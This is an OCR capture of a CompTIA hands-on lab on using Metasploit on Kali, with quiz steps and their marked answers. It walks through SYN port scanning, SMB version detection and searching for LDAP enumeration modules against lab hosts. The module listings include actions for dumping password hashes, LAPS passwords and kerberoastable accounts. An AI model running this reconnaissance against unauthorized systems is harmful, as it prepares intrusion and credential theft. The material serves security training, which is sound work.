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1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

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KALI

root@kali: /home/kali

File Actions Edit View Help

Hosts

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.1.16.1	00:15:5d:01:66:01	DC10.ad.structureal	Windows 2019			server		
10.1.16.2	00:15:5d:01:66:02	MS10.ad.structureal	Windows 2016			server		
10.1.16.254	00:15:5d:01:87:01	ity.com	Linux	4.X		server		

RHOSTS => 10.1.16.1 10.1.16.2 10.1.16.254

msf6 auxiliary(scanner/portscan/syn) > setg THREADS 3

THREADS => 3

msf6 auxiliary(scanner/portscan/syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name	Current Setting	Required	Description
BATCHSIZE	256	yes	The number of hosts to scan per set
DELAY	0	yes	The delay between connections, per thread, in milliseconds
INTERFACE		no	The name of the interface
JITTER	0	yes	The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS	10-100	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS	10.1.16.1 10.1.16.2 10.1.16.254	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	3	yes	The number of concurrent threads (max one per host)
TIMEOUT	500	yes	The reply read timeout in milliseconds

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/syn) >

CompTIA

Instructions Resources

☒ 22. View the options to check that your settings are configured as expected by entering:
show options

You should see your newly defined values in the "Current Setting" column for PORTS, RHOSTS, and THREADS.

☐ 23. Initiate the MSF element to perform the port scan by entering:
run

It will take a few minutes for the scan to complete. However, results of open ports discovered will be displayed as they are detected.

Notice that there will be some open ports discovered that were already detected by the prior nmap scan. That is not a problem, as the new information will be integrated into the hosts database automatically without duplicates.

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Hands-on lab activity 04

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KALI

root@kali: /home/kali

File Actions Edit View Help

Hosts

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.1.16.2	00:15:5d:01:66:02	ity.com	Windows 2016			server		
10.1.16.254	00:15:5d:01:87:01	ity.com	Linux	4.X		server		

RHOSTS => 10.1.16.1 10.1.16.2 10.1.16.254

msf6 auxiliary(scanner/portscan/syn) > setg THREADS 3

THREADS => 3

msf6 auxiliary(scanner/portscan/syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name	Current Setting	Required	Description
BATCHSIZE	256	yes	The number of hosts to scan per set
DELAY	0	yes	The delay between connections, per thread, in milliseconds
INTERFACE		no	The name of the interface
JITTER	0	yes	The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS	10-100	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS	10.1.16.1 10.1.16.2 10.1.16.254	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	3	yes	The number of concurrent threads (max one per host)
TIMEOUT	500	yes	The reply read timeout in milliseconds

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/syn) > run

[*] TCP OPEN 10.1.16.254:22

[*] TCP OPEN 10.1.16.2:25

[*] TCP OPEN 10.1.16.2:80

[*] Scanned 3 of 3 hosts (100% complete)

[*] Auxiliary module execution completed

msf6 auxiliary(scanner/portscan/syn) >

CompTIA

Instructions Resources

elements.

☐ 24. View the accumulated information from the MSF portscan by entering:
services

There may be a few additional services and their open ports included in the services display.

Which of the following ports were determined to be open by the combined port scans against the systems in the server subnet? (Select all that apply)

☐ 21

☐ 3389

☐ 88

☐ 110

☐ 53

☐ 135

☐ 445

Evaluate

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41 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web application interface. The terminal window shows the execution of a port scan using the `msf6 auxiliary(scanner/portscan/syn)` command, resulting in a list of open ports and services for three hosts. The web application interface, titled "CompTIA", shows a quiz question about the accumulated information from the MSF portscan by entering services. The quiz options are 21, 3389, 88, 110, 53, 135, and 445. The correct answer is 3389, and the user has selected it, receiving a "Congratulations, you have answered the question correctly." message. The interface also shows a progress bar indicating 41 minutes remaining.

Terminal Output:

```
msf6 auxiliary(scanner/portscan/syn) > run

[+] TCP OPEN 10.1.16.254:22
[+] TCP OPEN 10.1.16.2:25
[+] TCP OPEN 10.1.16.2:80
[+] Scanned 3 of 3 hosts (100% complete)
[+] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/syn) > services

Services
```

host	port	proto	name	state	info
10.1.16.1	53	tcp	domain	open	Simple DNS Plus
10.1.16.1	88	tcp	kerberos-sec	open	Microsoft Windows Kerberos server time: 2026-02-11 23:33:17Z
10.1.16.1	135	tcp	msrpc	open	Microsoft Windows RPC
10.1.16.1	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.1.16.1	389	tcp	ldap	open	Microsoft Windows Active Directory LDAP Domain: ad.structureality.co m0., Site: Default-First-Site-Name
10.1.16.1	445	tcp	microsoft-ds	open	
10.1.16.1	3389	tcp	ms-wbt-server	open	Microsoft Terminal Services
10.1.16.1	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	25	tcp	smtp	open	hMailServer smtpd
10.1.16.2	80	tcp	http	open	Microsoft IIS httpd 10.0
10.1.16.2	111	tcp	rpcbind	open	2-4 RPC #100000
10.1.16.2	135	tcp	msrpc	open	Microsoft Windows RPC
10.1.16.2	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.1.16.2	143	tcp	imap	open	hMailServer imapd
10.1.16.2	443	tcp	ssl/http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	445	tcp	microsoft-ds	open	Windows Server 2016 Standard 14393 microsoft-ds workgroup: structure ality
10.1.16.2	587	tcp	smtp	open	hMailServer smtpd
10.1.16.2	2049	tcp	nlockmgr	open	1-4 RPC #100021
10.1.16.2	3306	tcp	mysql	open	MySQL 5.5.5-10.11.3-MariaDB
10.1.16.2	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.254	22	tcp	ssh	open	OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0

Quiz Question: 24. View the accumulated information from the MSF portscan by entering: **services**

There may be a few additional services and their open ports included in the services display.

Which of the following ports were determined to be open by the combined port scans against the systems in the server subnet? (Select all that apply)

- ☐ 21
- ☒ 3389
- ☐ 88
- ☐ 110
- ☐ 53
- ☐ 135
- ☐ 445

Evaluate

Next, you want to attempt to populate the hosts table with more details related to any

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41 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The image shows a Kali Linux terminal window and a CompTIA quiz interface. The terminal window displays the output of a Metasploit session, showing a port scan and service enumeration. The quiz interface shows a question about the next step in the process.

Terminal Output:

```
msf6 auxiliary(scanner/portscan/syn) > services
```

host	port	proto	name	state	info
10.1.16.1	53	tcp	domain	open	Simple DNS Plus
10.1.16.1	88	tcp	kerberos-sec	open	Microsoft Windows Kerberos server time: 2026-02-11 23:33:17Z
10.1.16.1	135	tcp	msrpc	open	Microsoft Windows RPC
10.1.16.1	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.1.16.1	389	tcp	ldap	open	Microsoft Windows Active Directory LDAP Domain: ad.structureality.co
10.1.16.1	445	tcp	microsoft-ds	open	m0., Site: Default-First-Site-Name
10.1.16.1	3389	tcp	ms-wbt-server	open	Microsoft Terminal Services
10.1.16.1	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	25	tcp	smtp	open	hMailServer smtpd
10.1.16.2	80	tcp	http	open	Microsoft IIS httpd 10.0
10.1.16.2	111	tcp	rpcbind	open	2-4 RPC #100000
10.1.16.2	135	tcp	msrpc	open	Microsoft Windows RPC
10.1.16.2	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.1.16.2	143	tcp	imap	open	hMailServer imapd
10.1.16.2	443	tcp	ssl/http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	445	tcp	microsoft-ds	open	Windows Server 2016 Standard 14393 microsoft-ds workgroup: structure
10.1.16.2	587	tcp	smtp	open	hMailServer smtpd
10.1.16.2	2049	tcp	nlockmgr	open	1-4 RPC #100021
10.1.16.2	3306	tcp	mysql	open	MySQL 5.5.5-10.11.3-MariaDB
10.1.16.2	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.254	22	tcp	ssh	open	OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0

msf6 auxiliary(scanner/portscan/syn) > back
msf6 > search smb version

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/struts_code_exec_classloader	2014-03-06	manual	No	Apache Struts C
1	exploit/linux/misc/cisco_rv340_sslvpn	2022-02-02	good	Yes	Cisco RV340 SSL
2	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Micros
3	exploit/windows/browser/ms10_022_ie_vbscript_winhlp32	2010-02-26	great	No	MS10-022 Micros
4	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Micros
5	auxiliary/dos/windows/smb_rras_vls_null_deref	2006-06-14	normal	No	Microsoft RRAS
6	auxiliary/dos/windows/smb/ms11_019_electbrowser		normal	No	Microsoft Windo
7	exploit/windows/smb/smb_rras_erraticgopher	2017-06-13	average	Yes	Microsoft Windo
8	auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow		normal	No	Microsoft Windo
9	auxiliary/scanner/smb/smb_version		normal	No	SMB Version Det
10	exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba chain_rep
11	exploit/multi/ids/snort_dce_rpc	2007-02-19	good	No	Snort 2 DCE/RPC
12	exploit/windows/browser/java_ws_arginject_altjvm	2010-04-09	excellent	No	Sun Java Web St
13	exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146	2023-09-13	excellent	No	Themebleed- Win
14	exploit/windows/smb/timbuktu_plughntcommand_bof	2009-06-25	great	No	Timbuktu PlughN
15	exploit/windows/fileformat/ursoft_w32dasm	2005-01-24	good	No	URSoft W32Dasm

Quiz Interface:

CompTIA

Instructions Resources

✓ Congratulations, you have answered the question correctly.

Next, you want to attempt to populate the hosts table with more details related to any Windows OSes running on the targets.

☒ 25. Back out of the current MSF element by entering:
back

You should be returned to the "msf6 >" prompt.

☐ 26. Search for the SMB version scanner by entering:
search smb version

There should be several results from this search. Locate the one named "auxiliary/scanner/smb/smb_version" and enter only the number in the text box below:

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1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

assLoader Manipulation Remote Code Execution					
1 exploit/linux/misc/cisco_rv340_sslvpn	2022-02-02	good	Yes	Cisco RV340 SSL	
VPN Unauthenticated Remote Code Execution					
2 exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Micros	
ft Server Service Relative Path Stack Corruption					
3 exploit/windows/browser/ms10_022_ie_vbscript_winhlp32	2010-02-26	great	No	MS10-022 Micros	
ft Internet Explorer Winhlp32.exe MsgBox Code Execution					
4 exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Micros	
ft Windows OLE Package Manager Code Execution					
5 auxiliary/dos/windows/smb/rras_vls_null_deref	2006-06-14	normal	No	Microsoft RRAS	
nterfaceAdjustVLSPointers NULL Dereference					
6 auxiliary/dos/windows/smb/ms11_019_electbrowser		normal	No	Microsoft Windo	
s Browser Pool DoS					
7 exploit/windows/smb/smb_rras_erraticgopher	2017-06-13	average	Yes	Microsoft Windo	
s RRAS Service MIBEntryGet Overflow					
8 auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow		normal	No	Microsoft Windo	
s SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS					
9 auxiliary/scanner/smb/smb_version		normal	No	SMB Version Det	
ction					
10 exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba chain_rep	
y Memory Corruption (Linux x86)					
11 exploit/multi/ids/snort_dce_rpc	2007-02-19	good	No	Snort 2 DCE/RPC	
Preprocessor Buffer Overflow					
12 exploit/windows/browser/java_ws_arginject_altjvm	2010-04-09	excellent	No	Sun Java Web St	
rt Plugin Command Line Argument Injection					
13 exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146	2023-09-13	excellent	No	Themebleed- Win	
ows 11 Themes Arbitrary Code Execution CVE-2023-38146					
14 exploit/windows/smb/timbuktu_plughntcommand_bof	2009-06-25	great	No	Timbuktu PlughN	
Command Named Pipe Buffer Overflow					
15 exploit/windows/fileformat/ursoft_w32dasm	2005-01-24	good	No	URSoft W32Dasm	
isassembler Function Buffer Overflow					
16 exploit/windows/fileformat/vlc_smb_uri	2009-06-24	great	No	VideoLAN Client	
(VLC) Win32 SMB:// URI Buffer Overflow					

Interact with a module by name or index. For example info 16, use 16 or use exploit/windows/fileformat/vlc_smb_uri

msf6 >

Instructions Resources

✓ Congratulations, you have answered the question correctly.

Next, you want to attempt to populate the hosts table with more details related to any Windows OSes running on the targets.

25. Back out of the current MSF element by entering:
back

You should be returned to the "msf6 >" prompt.

26. Search for the SMB version scanner by entering:
search smb version

There should be several results from this search. Locate the one named "auxiliary/scanner/smb/smb_version" and enter only the number in the text box below:

← Previous

Next →

37 Minutes Remaining

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

(VLC) Win32 SMB:// URI Buffer Overflow

Interact with a module by name or index. For example info 16, use 16 or use exploit/windows/fileformat/vlc_smb_uri

msf6 > info 9

Name: SMB Version Detection

Module: auxiliary/scanner/smb/smb_version

License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:

hdm <x@hdm.io>

Spencer McIntyre

Christophe De La Fuente

Check supported:

No

Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS	3	yes	The number of concurrent threads (max one per host)

Description:

Fingerprint and display version information about SMB servers. Protocol information and host operating system (if available) will be reported. Host operating system detection requires the remote server to support version 1 of the SMB protocol. Compression and encryption capability negotiation is only present in version 3.1.1.

View the full module info with the info -d command.

msf6 >

Instructions Resources

entering:
search smb version

There should be several results from this search. Locate the one named "auxiliary/scanner/smb/smb_version" and enter only the number in the text box below:

9

⚠ After you type in the value, press **Enter** on your keyboard or click out of the text box.

27. View the information about this MSF element by entering:
info 9

Read over the displayed information for this MSF element.

28. Select to use or activate this MSF element by entering:
use 9

← Previous

Next →

36 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot shows a Kali Linux terminal window and a web browser window. The terminal window displays the Metasploit framework interface, showing the 'msf6 auxiliary(scanner/smb/smb_version)' module being configured and run. The browser window shows a 'CompTIA' lab page with instructions for step 28, which involves using the 'use 9' command in Metasploit.

Terminal Output:

```
root@kali: /home/kali

File Actions Edit View Help

information and host operating system (if available) will be reported.
Host operating system detection requires the remote server to support
version 1 of the SMB protocol. Compression and encryption capability
negotiation is only present in version 3.1.1.

View the full module info with the info -d command.

msf6 > use 9
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  THREADS   3                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > hosts -R

Hosts

address      mac              name              os_name      os_flavor      os_sp      purpose  info  comments
-----
10.1.16.1    00:15:5d:01:66:01 DC10.ad.structure Windows 2019
ity.com
10.1.16.2    00:15:5d:01:66:02 MS10.ad.structure Windows 2016
ity.com
10.1.16.254  00:15:5d:01:87:01 Linux              4.X          server

RHOSTS => 10.1.16.1 10.1.16.2 10.1.16.254

msf6 auxiliary(scanner/smb/smb_version) > 
```

Browser Page (CompTIA Lab):

Instructions Resources

☒ 28. Select to use or activate this MSF element by entering: **use 9**

The prompt should now be: **msf6 auxiliary(scanner/smb/smb_version)**

☐ 29. View the configuration options by entering: **show options**

Notice that the THREADS option is already set to 3. You did this earlier using the 'setg' command.

☐ 30. Set the targets for the scan to those in the hosts table by entering: **hosts -R**

☐ 31. View the configuration options by entering: **show options**

Review the options to confirm the values are set as expected.

☐ 32. Initiate the MSF element to perform the scan by entering: **run**

Previous Next

36 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

Name	Current Setting	Required	Description
RHOSTS	10.1.16.1 10.1.16.2 10.1.16.254	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS	3	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/smb/smb_version) > run
```

```
[*] 10.1.16.1:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:required) (guid:{4534d135-61c3-495a-b4c5-4e6a6ca966d5}) (authentication domain:structureality)
[*] Scanned 2 of 3 hosts (66% complete)
[*] 10.1.16.2:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:optional) (uptime:24m 1s) (guid:{c4cbc0e4-5320-4d56-982c-fb3a2f8391a3}) (authentication domain:structureality)Windows 2016 Standard (build:14393) (name:MS10) (domain:structureality)
[*] 10.1.16.2:445 - Host is running SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:optional) (uptime:24m 1s) (guid:{c4cbc0e4-5320-4d56-982c-fb3a2f8391a3}) (authentication domain:structureality)Windows 2016 Standard (build:14393) (name:MS10) (domain:structureality)
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > hosts
```

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.1.16.1	00:15:5d:01:66:01	DC10.ad.structureality.com	Windows 2019			server		
10.1.16.2	00:15:5d:01:66:02	MS10	Windows 2016	Standard		server		
10.1.16.254	00:15:5d:01:87:01		Linux		4.X	server		

```
msf6 auxiliary(scanner/smb/smb_version) > []
```

CompTIA

Exit Lab

Instructions Resources

☒ 32. Initiate the MSF element to perform the scan by entering:
run

☐ 33. View the integrated results of the scan related to the targets by entering:
hosts

The display should be updated with a few new pieces of information.

What is the OS flavor now indicated for the 10.1.16.2 system?

☐ Education

☐ Service Pack 1

☐ End of Service Life

☐ Enterprise

☐ Standard

☐ Data Center

Evaluate

☐ 34. View the target's services table again by entering:
services

Previous

Next

35 Minutes Remaining

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

Name	Current Setting	Required	Description
RHOSTS	10.1.16.1 10.1.16.2 10.1.16.254	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS	3	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/smb/smb_version) > run
```

```
[*] 10.1.16.1:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:required) (guid:{4534d135-61c3-495a-b4c5-4e6a6ca966d5}) (authentication domain:structureality)
[*] Scanned 2 of 3 hosts (66% complete)
[*] 10.1.16.2:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:optional) (uptime:24m 1s) (guid:{c4cbc0e4-5320-4d56-982c-fb3a2f8391a3}) (authentication domain:structureality)Windows 2016 Standard (build:14393) (name:MS10) (domain:structureality)
[*] 10.1.16.2:445 - Host is running SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AE5-128-GCM) (signatures:optional) (uptime:24m 1s) (guid:{c4cbc0e4-5320-4d56-982c-fb3a2f8391a3}) (authentication domain:structureality)Windows 2016 Standard (build:14393) (name:MS10) (domain:structureality)
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > hosts
```

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.1.16.1	00:15:5d:01:66:01	DC10.ad.structureality.com	Windows 2019			server		
10.1.16.2	00:15:5d:01:66:02	MS10	Windows 2016	Standard		server		
10.1.16.254	00:15:5d:01:87:01		Linux		4.X	server		

```
msf6 auxiliary(scanner/smb/smb_version) > []
```

CompTIA

Exit Lab

Instructions Resources

☒ 32. Initiate the MSF element to perform the scan by entering:
run

☒ 33. View the integrated results of the scan related to the targets by entering:
hosts

The display should be updated with a few new pieces of information.

What is the OS flavor now indicated for the 10.1.16.2 system?

☐ Education

☐ Service Pack 1

☐ End of Service Life

☐ Enterprise

☒ Standard

☐ Data Center

Evaluate

✓ Congratulations, you have answered the question correctly.

Previous

Next

34 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web browser window. The terminal window shows the output of the `msf6 auxiliary(scanner/smb/smb_version) > services` command, listing various services running on the target system. The web browser window shows a quiz interface with two questions. The first question is selected, and the user has chosen the correct answer, 10.1.16.1.

Terminal Output:

```
msf6 auxiliary(scanner/smb/smb_version) > services
Services
host      port  proto  name      state  info
-----
10.1.16.1 53    tcp    domain    open   Simple DNS Plus
10.1.16.1 88    tcp    kerberos-sec open   Microsoft Windows Kerberos server time: 2026-02-11 23:33:17Z
10.1.16.1 135   tcp    msrpc     open   Microsoft Windows RPC
10.1.16.1 139   tcp    netbios-ssn open   Microsoft Windows netbios-ssn
10.1.16.1 389   tcp    ldap      open   Microsoft Windows Active Directory LDAP Domain: ad.structureality.c
om0., Site: Default-First-Site-Name
10.1.16.1 445   tcp    smb       open   SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compres
sion capabilities:) (encryption capabilities:AES-128-GCM) (signatur
es:required) (guid:{4534d135-61c3-495a-b4c5-4e6a6ca966d5}) (authent
ication domain:structureality)
10.1.16.1 3389  tcp    ms-wbt-server open   Microsoft Terminal Services
10.1.16.1 5357  tcp    http      open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2 25    tcp    smtp      open   hMailServer smtpd
10.1.16.2 80    tcp    http      open   Microsoft IIS httpd 10.0
10.1.16.2 111   tcp    rpcbind   open   2-4 RPC #100000
10.1.16.2 135   tcp    msrpc     open   Microsoft Windows RPC
10.1.16.2 139   tcp    netbios-ssn open   Microsoft Windows netbios-ssn
10.1.16.2 143   tcp    imap      open   hMailServer imapd
10.1.16.2 443   tcp    ssl/http  open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2 445   tcp    smb       open   SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (comp
ression capabilities:) (encryption capabilities:AES-128-GCM) (signa
tures:optional) (uptime:24m 1s) (guid:{c4cbc0e4-5320-4d56-982c-fb3a
2f8301a3}) (authentication domain:structureality)Windows 2016 Stand
ard (build:14393) (name:MS10) (domain:structureality)
10.1.16.2 587   tcp    smtp      open   hMailServer smtpd
10.1.16.2 2049  tcp    nlockmgr  open   1-4 RPC #100021
10.1.16.2 3306  tcp    mysql     open   MySQL 5.5.5-10.11.3-MariaDB
10.1.16.2 5357  tcp    http      open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.254 22    tcp    ssh       open   OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0

msf6 auxiliary(scanner/smb/smb_version) > 
```

Quiz Interface:

34. View the target's services table again by entering: **services**

Which system has the LDAP and Kerberos ports exposed?

☐ 10.1.16.2

☐ 10.1.16.254

☒ 10.1.16.1

☐ 10.1.16.66

Evaluate

35. Search MSF for the LDAP query element by entering: **search ldap query**

There should be several results from this search. Locate the one named "auxiliary/gather/ldap_query" and enter only the number in the text box below:

Previous **Next**

33 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The first screenshot shows a Kali Linux terminal window with the following output:

```
msf6 auxiliary(scanner/smb/smb_version) > search ldap query
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/ldap_query	2022-05-19	normal	No	LDAP Query and Enumeration
1	auxiliary/gather/ldap_esc_vulnerable_cert_finder	2021-06-17	normal	No	Misconfigured Certificate Template Finder
2	exploit/multi/http/phpldapadmin_query_engine	2011-10-24	excellent	Yes	phpLDAPadmin query engine

Interact with a module by name or index. For example `info 2`, use `2` or use `exploit/multi/http/phpldapadmin_query_engine`

```
msf6 auxiliary(scanner/smb/smb_version) > info 0
```

Name: LDAP Query and Enumeration Module
Module: auxiliary/gather/ldap_query
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2022-05-19

Provided by: Grant Willcox

Module side effects: ioc-in-logs

Module stability: crash-safe

Available actions:

The second screenshot shows the same Kali Linux terminal window with the following output:

```
msf6 auxiliary(scanner/smb/smb_version) > show options
```

Available actions:

Name	Description
ENUM_ACCOUNTS	Dump info about all known user accounts in the domain.
ENUM_ADMIN_OBJECTS	Dump info about all objects with protected ACLs (i.e highly privileged objects).
ENUM_AD_CS_CAS	Enumerate AD Certificate Service certificate authorities.
ENUM_AD_CS_CERT_TEMPLATES	Enumerate AD Certificate Service certificate templates.
ENUM_ALL_OBJECT_CATEGORY	Dump all objects containing any objectCategory field.
ENUM_ALL_OBJECT_CLASS	Dump all objects containing any objectClass field.
ENUM_COMPUTERS	Dump all objects containing an objectCategory or objectClass of Computer.
ENUM_CONSTRAINED_DELEGATION	Dump info about all known objects that allow constrained delegation.
ENUM_DNS_RECORDS	Dump info about DNS records the server knows about using the dnsNode object class.
ENUM_DNS_ZONES	Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.
ENUM_DOMAIN	Dump info about the Active Directory domain.
ENUM_DOMAIN_CONTROLLERS	Dump all known domain controllers.
ENUM_EXCHANGE_RECIPIENTS	Dump info about all known Exchange recipients.
ENUM_EXCHANGE_SERVERS	Dump info about all known Exchange servers.
ENUM_GMSA_HASHES	Dump info about GMSAs and their password hashes if available.
ENUM_GROUPS	Dump info about all known groups in the LDAP environment.
ENUM_GROUP_POLICY_OBJECTS	Dump info about all known Group Policy Objects (GPOs) in the LDAP environment.
ENUM_HOSTNAMES	Dump info about all known hostnames in the LDAP environment.
ENUM_LAPS_PASSWORDS	Dump info about computers that have LAPS enabled, and passwords for them if available.
ENUM_LDAP_SERVER_METADATA	Dump metadata about the setup of the domain.
ENUM_MACHINE_ACCOUNT_QUOTA	Dump the number of computer accounts a user is allowed to create in a domain.
ENUM_ORGROLES	Dump info about all known organization roles in the LDAP environment.
ENUM_ORGUNITTS	Dump info about all known organizational units in the LDAP environment.
ENUM_UNCONSTRAINED_DELEGATION	Dump info about all known objects that allow unconstrained delegation.
ENUM_USER_ACCOUNT_DISABLED	Dump info about disabled user accounts.
ENUM_USER_ACCOUNT_LOCKED_OUT	Dump info about locked out user accounts.
ENUM_USER_ASREP_ROASTABLE	Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.
ENUM_USER_PASSWORD_NEVER_EXPIRES	Dump info about all users whose password never expires.

The CompTIA interface on the right shows instructions for steps 35-37 and 38-40, with a progress bar indicating 32 and 30 minutes remaining respectively.

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web browser window. The terminal window shows the output of the `msf6 auxiliary(ldap_query)` command, listing various LDAP query options and their descriptions. The web browser window shows the CompTIA lab interface, which includes instructions for the lab activity and a list of tasks to complete.

Terminal Window Output:

```
root@kali: /home/kali

File Actions Edit View Help

ENUM_LAPS_PASSWORDS      Dump info about computers that have LAPS enabled, and passwords for them if a
                          vailable.
ENUM_LDAP_SERVER_METADATA Dump metadata about the setup of the domain.
ENUM_MACHINE_ACCOUNT_QUOTA Dump the number of computer accounts a user is allowed to create in a domain.
ENUM_ORGROLES             Dump info about all known organization roles in the LDAP environment.
ENUM_ORGUNITS             Dump info about all known organizational units in the LDAP environment.
ENUM_UNCONSTRAINED_DELEGATION Dump info about all known objects that allow unconstrained delegation.
ENUM_USER_ACCOUNT_DISABLED Dump info about disabled user accounts.
ENUM_USER_ACCOUNT_LOCKED_OUT Dump info about locked out user accounts.
ENUM_USER_ASREP_ROASTABLE Dump all users who are configured not to require kerberos pre-authentication,
                          i.e. AS-REP roastable.
ENUM_USER_PASSWORD_NEVER_EXPIRES Dump info about all users whose password never expires.
ENUM_USER_PASSWORD_NOT_REQUIRED Dump info about all users whose password never expires and whose account is s
                          till enabled.
ENUM_USER_SPNS_KERBEROAST Dump info about all user objects with Service Principal Names (SPNs) for kerb
                          eroasting.
RUN_QUERY_FILE            Execute a custom set of LDAP queries from the JSON or YAML file specified by
                          QUERY_FILE.
RUN_SINGLE_QUERY          Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES optio
                          ns.

Check supported:
No

Basic options:
Name          Current Setting  Required  Description
-----
